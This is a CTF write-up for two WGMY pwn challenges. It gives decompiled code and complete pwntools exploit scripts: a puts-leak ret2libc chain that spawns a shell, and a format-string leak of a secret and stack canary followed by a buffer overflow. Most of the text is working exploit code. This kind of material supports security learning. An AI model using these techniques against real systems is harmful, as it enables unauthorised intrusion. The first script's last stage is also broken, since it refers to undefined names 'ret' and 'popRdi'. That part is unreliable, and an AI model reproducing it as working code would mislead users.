WGMY CTF (Top #15)

Table of Contents

1. Pwn: Magic Door

pwndbg> checksec
[*] '/home/kali/CTF/WargamesMy/Pwn/magic-door/challenge/magic_door'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
Source
char *open_the_door()
{
char s1[12]; // [rsp+0h] [rbp-10h] BYREF
int v2; // [rsp+Ch] [rbp-4h]

initialize();
puts("Welcome to the Magic Door !");
printf("Which door would you like to open? ");
__isoc99_scanf("%11s", s1); // Enter 050015 here
getchar();
if ( !strcmp(s1, "50015") )
  return (char *)no_door_foryou();
v2 = atoi(s1);
if ( v2 != 50015 )
  return (char *)no_door_foryou();
else
  return magic_door();
}
char *magic_door()
{
  char s[8]; // [rsp+10h] [rbp-40h] BYREF
  __int64 v2; // [rsp+18h] [rbp-38h]
  __int64 v3; // [rsp+20h] [rbp-30h]
  __int64 v4; // [rsp+28h] [rbp-28h]
  __int64 v5; // [rsp+30h] [rbp-20h]
  __int64 v6; // [rsp+38h] [rbp-18h]
  __int64 v7; // [rsp+40h] [rbp-10h]
  __int64 v8; // [rsp+48h] [rbp-8h]

  *(_QWORD *)s = 0LL;
  v2 = 0LL;
  v3 = 0LL;
  v4 = 0LL;
  v5 = 0LL;
  v6 = 0LL;
  v7 = 0LL;
  v8 = 0LL;
  puts("Congratulations! You opened the magic door!");
  puts("Where would you like to go? ");
  return fgets(s, 256, stdin);
}

Easy to see that there is a buffer overflow in magic_door. In order to get to it you have to pass the open_the_door function first. The task is to pass these two seemmingly contradicting conditions:

ConditionsDescription
!strcmp(s1, "50015")strcmp returns 0 if equal -> if “50015” is entered: !0 -> true and you are not able to proceed
v2 = atoi(s1); v2 != 50015Check if atoi(input) == 50015

Enter 050015 should satisfy first condition and atoi will ignore leading zero also. Now it’s just ret2libc for the magic_door function (since NX is enabled so no shellcode). Now is just to leak the libc address via puts and perform ret2libc.

solve.py
from pwn import *
import os
from LibcSearcher import *

context.arch = 'amd64'
pty = process.PTY
is_local = False
is_remote = False

elf = ELF("/home/kali/CTF/WargamesMy/Pwn/magic-door/challenge/magic_door")
if len(sys.argv) == 1:
    is_local = True
    p = process(elf.path, stdin=pty, stdout=pty)

elif len(sys.argv) > 1:
    is_remote = True
    if len(sys.argv) == 3:
        host = sys.argv[1]
        port = sys.argv[2]
    else:
        host, port = sys.argv[1].split(':')
    p = remote(host, port)

def debug(cmd=''):
    if is_local: gdb.attach(p,cmd)


#debug(cmd='''b *magic_door+135''')
print(p.recvuntilS("open?"))

p.sendline("050015")
print(p.recvuntilS("go?"))

rop = ROP(elf)
pop_rdi = rop.find_gadget(['pop rdi','ret'])[0]
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main = elf.symbols['main']

log.info("pop rdi: " + hex(pop_rdi))
log.info("Puts@plt: " + hex(puts_plt))
log.info("Puts got: " + hex(puts_got))
log.info("Main: " + hex(main))

payload = b'A' * 72 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main) # leak put address and return to main to execute system command after knowing libc
p.sendline(payload)

p.recv()
puts_leak = u64(p.recv(6).ljust(8,b"\x00")) 

log.info("Puts leak " + hex(puts_leak))
libc = LibcSearcher("puts", puts_leak) # using libc searcher right here, if there is libc error you have to manually addd libc to libcsearcherfolder.

p.sendlineafter(b"Which door would you like to open?",b"050015")

rop  = b"A"* 72
rop += ret + popRdi + p64(next(libc.search(b"/bin/sh"))) + p64(libc.symbols["system"])

p.sendlineafter(b"Where would you like to go?",rop)
p.interactive()

#print(p.recvall(timeout=1))

2. Pwn: Pakmat Burger

Source
int __cdecl main(int argc, const char **argv, const char **envp)
{
  const char *s2; // [rsp+0h] [rbp-40h]
  char s1[9]; // [rsp+Ah] [rbp-36h] BYREF
  char phonenum[10]; // [rsp+13h] [rbp-2Dh] BYREF
  char format[12]; // [rsp+1Dh] [rbp-23h] BYREF
  char v8[15]; // [rsp+29h] [rbp-17h] BYREF
  unsigned __int64 v9; // [rsp+38h] [rbp-8h]

  v9 = __readfsqword(0x28u);
  initialize(argc, argv, envp);
  s2 = getenv("SECRET_MESSAGE");
  if ( s2 )
  {
    puts("Welcome to Pak Mat Burger!");
    printf("Please enter your name: ");
    __isoc99_scanf("%11s", format);
    printf("Hi ");
    printf(format);
    printf(", to order a burger, enter the secret message: ");
    __isoc99_scanf("%8s", s1);
    if ( !strcmp(s1, s2) )
    {
      puts("Great! What type of burger would you like to order? ");
      __isoc99_scanf("%14s", v8);
      getchar();
      printf("Please provide your phone number, we will delivered soon: ");
      return (unsigned int)fgets(phonenum, 100, stdin);
    }
    else
    {
      puts("Sorry, the secret message is incorrect. Exiting...");
      return 0;
    }
  }
  else
  {
    puts("Error: SECRET_MESSAGE environment variable not set. Exiting...");
    return 1;
  }
}
int secret_order()
{
  return system("cat ./flag.txt");
}

Examining the source code, there is a format string vulnerability in printf(format). Using this we can leak the secret and bypass the secret requirements. Use %1$p for example to leak an address on the stack.

Also we can use it to bypass the canary. return (unsigned int)fgets(phonenum, 100, stdin); is just straight up a buffer overflow vulnerability. Phonenum length is only 10 but fgets allows 100 characters to be put in the array. Overflow and return to the secret_order function to get the flag.

Since the secret does not change and I can only use the format vulnerablity to leak two out of three key information for this challenge, I have to connect to the server twice, first call is to leak the secret and the second time is for full exploitation.

solve.py
from pwn import *
import os
import re

context.arch = 'amd64'
pty = process.PTY
is_local = False
is_remote = False

elf = ELF("/home/kali/CTF/WargamesMy/Pwn/pakmatburger/challenge/pakmat_burger")
if len(sys.argv) == 1:
    is_local = True
    p = process(elf.path, stdin=pty, stdout=pty)

elif len(sys.argv) > 1:
    is_remote = True
    if len(sys.argv) == 3:
        host = sys.argv[1]
        port = sys.argv[2]
    else:
        host, port = sys.argv[1].split(':')
    p = remote(host, port)

def debug(cmd=''):
    if is_local: gdb.attach(p,cmd)



# Grab secret the first time
print(p.recvuntilS("name:"))
p.sendline(b"%6$s")
secret = p.recvuntil(",")[:-1].decode().split()[1]
log.info("Secret " + secret)
p.close()

# Run again:
# p = process(elf.path, stdin=pty, stdout=pty)
p = remote(host,port)
# debug(cmd='''
# b *main+373
# ''')

print(p.recvuntilS("name:"))
p.sendline(b"%13$p.%17$p") # 13 is canary, 17 is main
leak = p.recvuntil(",")[:-1].decode().split()[1].split(".")
canary = leak[0]
main_leak = leak[1]
pop_rdi = 0x000000000000101a

log.info("Canary " + canary)
log.info("Main " + main_leak)
canary = int(canary, 16)
main_leak = int(main_leak, 16)
ret_offset = main_leak + 394  # calculate these by deducing them in gdb 
secret_offset = main_leak - 22
log.info("Ret " + f"0x{ret_offset:016x}")
log.info("Secret Order " + f"0x{secret_offset:016x}") # Calculate secret order address
p.sendline(secret)

print(p.recvuntilS("order?"))
p.sendline(b"Test")
print(p.recvuntilS("soon:"))

payload = b"A"*37 + p64(canary) + b"A"*8 + p64(ret_offset) + p64(secret_offset)  # Overflow the buffer and return to the secret function.

p.sendline(payload)
p.recvall(timeout = 1)
# """ 
# Code For finding offset from canary til ret. it was 8 
# p.wait()
# core = p.corefile
# stack = core.rsp
# log.info("rsp = %#x", stack)
# pattern = core.read(stack, 4)
# rip_offset = cyclic_find(pattern)
# log.info("rip offset is %d", rip_offset)
# """

p.interactive()